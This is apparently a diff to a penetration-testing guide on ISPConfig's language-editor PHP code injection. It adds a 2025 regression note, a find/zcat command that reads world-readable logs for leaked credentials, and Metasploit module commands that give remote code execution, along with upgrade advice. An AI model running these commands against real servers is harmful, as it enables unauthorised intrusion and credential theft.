 If PHP is executed as root (e.g., via `php -S 127.0.0.1:8080` started by root), this yields immediate root RCE. Otherwise, you gain code execution as the web server user.
 
+### 2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
+
+The language editor bug resurfaced in 3.3.0/3.3.0p1 and was fixed in **3.3.0p2**. Preconditions are unchanged (`admin_allow_langedit` and admin login). The same patch also addressed a monitor XSS and world-readable rotated logs.
+
+**Notes:**
+- On 3.3.0/3.3.0p1, world-readable rotated logs under `/usr/local/ispconfig/interface/log/` may leak credentials if debug logging was enabled:
+
+```bash
+find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
+```
+- Exploit steps match CVE-2023-46818; 3.3.0p2 adds extra checks before language editing.

+### Metasploit module (released July 2025)
+
+Rapid7 added `exploit/linux/http/ispconfig_lang_edit_php_code_injection`, which can auto-enable `admin_allow_langedit` if the supplied admin account has system-config rights.
+
+```text
+use exploit/linux/http/ispconfig_lang_edit_php_code_injection
+set RHOSTS 10.10.10.50
+set RPORT 8080
+set USERNAME admin
+set PASSWORD <admin_pass>
+set TARGETURI /
+run
+```
+
+The module writes a base64-encoded payload through `records[]` and executes it, giving a PHP Meterpreter or custom payload.

 ### Hardening

+- Upgrade to **3.2.11p1** or later for the original issue, and to **3.3.0p2** or later for the 2025 regression.
